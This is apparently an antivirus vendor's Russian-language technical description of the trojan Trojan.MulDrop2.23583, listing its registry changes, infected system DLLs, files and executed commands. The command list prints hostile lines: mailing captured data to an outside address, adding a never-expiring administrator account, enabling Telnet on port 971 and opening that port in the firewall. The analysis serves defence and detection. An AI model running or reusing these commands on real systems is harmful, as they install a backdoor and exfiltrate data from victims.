Trojan.MulDrop2.23583

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'snap.exe' = '<SYSTEM32>\snap.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'astart.exe' = '<SYSTEM32>\astart.exe'

Создает следующие сервисы:

[<HKLM>\SYSTEM\ControlSet001\Services\TlntSvr] 'Start' = '00000002'

Изменяет следующие исполняемые системные файлы:

<SYSTEM32>\msvbvm60.dll
<SYSTEM32>\gdiplus.dll

Заражает следующие исполняемые файлы:

<SYSTEM32>\msvbvm60.dll
<SYSTEM32>\gdiplus.dll

Вредоносные функции:

Для затруднения выявления своего присутствия в системе

блокирует:

Cредство проверки системных файлов (SFC)

Создает и запускает на исполнение:

'<SYSTEM32>\Snapshotter.exe' -u "http://ch####p.dyndns.org" -o "%WINDIR%\IP_adress.jpg" -w 550 -h 440
'%TEMP%\1.tmp\Snapshotter.exe' -u "http://ch####p.dyndns.org" -o "<SYSTEM32>\IP_adress.jpg" -w 550 -h 440
'%TEMP%\1.tmp\blat.exe' -attach <SYSTEM32>\IP_adress.jpg -body "CRNJEUFU_IP_adress.jpg" -to ipnettt@yandex.ru
'<SYSTEM32>\blat.exe' -attach %WINDIR%\IP_adress.jpg -body "CRNJEUFU_IP_adress.jpg" -to ipnettt@yandex.ru
'<SYSTEM32>\blat.exe' -install -server smtp.yandex.ru -port 25 -f ipnettt@yandex.ru -u ipnettt -pw 1q2w3e
'%TEMP%\1.tmp\adduser.exe'
'<SYSTEM32>\astart.exe'
'%TEMP%\1.tmp\act.exe'
'<SYSTEM32>\snap.exe'
'%TEMP%\1.tmp\blat.exe' <SYSTEM32>\ip_first_start.txt -to ipnettt@yandex.ru
'%TEMP%\1.tmp\blat.exe' -install -server smtp.yandex.ru -port 25 -f ipnettt@yandex.ru -u ipnettt -pw 1q2w3e

Запускает на исполнение:

'<SYSTEM32>\sc.exe' start TlntSvr
'<SYSTEM32>\regsvr32.exe' /s "<SYSTEM32>\MSVBVM60.DLL"
'<SYSTEM32>\reg.exe' import key.reg
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\5.tmp\run.cmd" "
'<SYSTEM32>\sc.exe' config TlntSvr start= auto
'<SYSTEM32>\regsvr32.exe' /s "<SYSTEM32>\HtmlSnap2.dll"
'<SYSTEM32>\tlntadmn.exe' config port=971 sec=-NTLM
'<SYSTEM32>\net1.exe' localgroup "Администраторы" myuser /add
'<SYSTEM32>\net1.exe' start Telnet
'<SYSTEM32>\ping.exe' -n 11 127.0.0.1
'<SYSTEM32>\net1.exe' user myuser 1234 /add /expires:never /times:all
'<SYSTEM32>\tlntsvr.exe'
'<SYSTEM32>\regsvr32.exe' /s <SYSTEM32>\tlntsvrp.dll
'<SYSTEM32>\regsvr32.exe' /s "<SYSTEM32>\VB6STKIT.DLL"
'<SYSTEM32>\regsvr32.exe' /s "MSVBVM60.DLL"
'<SYSTEM32>\regsvr32.exe' /s "VB6STKIT.DLL"
'<SYSTEM32>\netsh.exe' firewall add portopening tcp 971 all
'<SYSTEM32>\regsvr32.exe' /s "HtmlSnap2.dll"
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\foto.bat" "
'<SYSTEM32>\rundll32.exe' <SYSTEM32>\shimgvw.dll,ImageView_Fullscreen %TEMP%\1.tmp\fotka.jpg
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\2.tmp\win3.bat" "
'<SYSTEM32>\ping.exe' -n 180 127.0.0.1
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\4.tmp\test.bat" "
'<SYSTEM32>\ping.exe' -n 5 127.0.0.1
'<SYSTEM32>\ipconfig.exe' /all
'<SYSTEM32>\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v "astart.exe" /t REG_SZ /d "<SYSTEM32>\astart.exe" /f
'<SYSTEM32>\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v "snap.exe" /t REG_SZ /d "<SYSTEM32>\snap.exe" /f
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\3.tmp\astart.bat" "

Изменения в файловой системе:

Создает следующие файлы:

<SYSTEM32>\Snapshotter.exe
<SYSTEM32>\HtmlSnap2.dll
<SYSTEM32>\VB6STKIT.DLL
<SYSTEM32>\astart.exe
<SYSTEM32>\blat.exe
<SYSTEM32>\snap.exe
%TEMP%\3.tmp\astart.bat
%TEMP%\5.tmp\key.reg
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\checkip.dyndns[1]
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\checkip.dyndns[1]
%TEMP%\4.tmp\test.bat
<SYSTEM32>\ip_first_start.txt
%TEMP%\5.tmp\run.cmd
%TEMP%\2.tmp\win3.bat
%TEMP%\1.tmp\snap.exe
%TEMP%\1.tmp\astart.exe
%TEMP%\1.tmp\foto.bat
%TEMP%\1.tmp\fotka.jpg
%TEMP%\1.tmp\act.exe
%TEMP%\1.tmp\adduser.exe
%TEMP%\1.tmp\VB6STKIT.DLL
%TEMP%\1.tmp\gdiplus.dll
%TEMP%\1.tmp\blat.exe
%TEMP%\1.tmp\HtmlSnap2.dll
%TEMP%\1.tmp\MSVBVM60.DLL
%TEMP%\1.tmp\Snapshotter.exe

Удаляет следующие файлы:

%TEMP%\1.tmp\Snapshotter.exe
%TEMP%\1.tmp\VB6STKIT.DLL
%TEMP%\1.tmp\HtmlSnap2.dll
%TEMP%\1.tmp\MSVBVM60.DLL
%TEMP%\2.tmp\win3.bat
%TEMP%\4.tmp\test.bat
%TEMP%\1.tmp\gdiplus.dll
%TEMP%\1.tmp\blat.exe
%TEMP%\1.tmp\adduser.exe
%TEMP%\1.tmp\foto.bat
%TEMP%\5.tmp\key.reg
%TEMP%\1.tmp\fotka.jpg
%TEMP%\1.tmp\act.exe
%TEMP%\1.tmp\snap.exe
%TEMP%\1.tmp\astart.exe
%TEMP%\5.tmp\run.cmd
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\checkip.dyndns[1]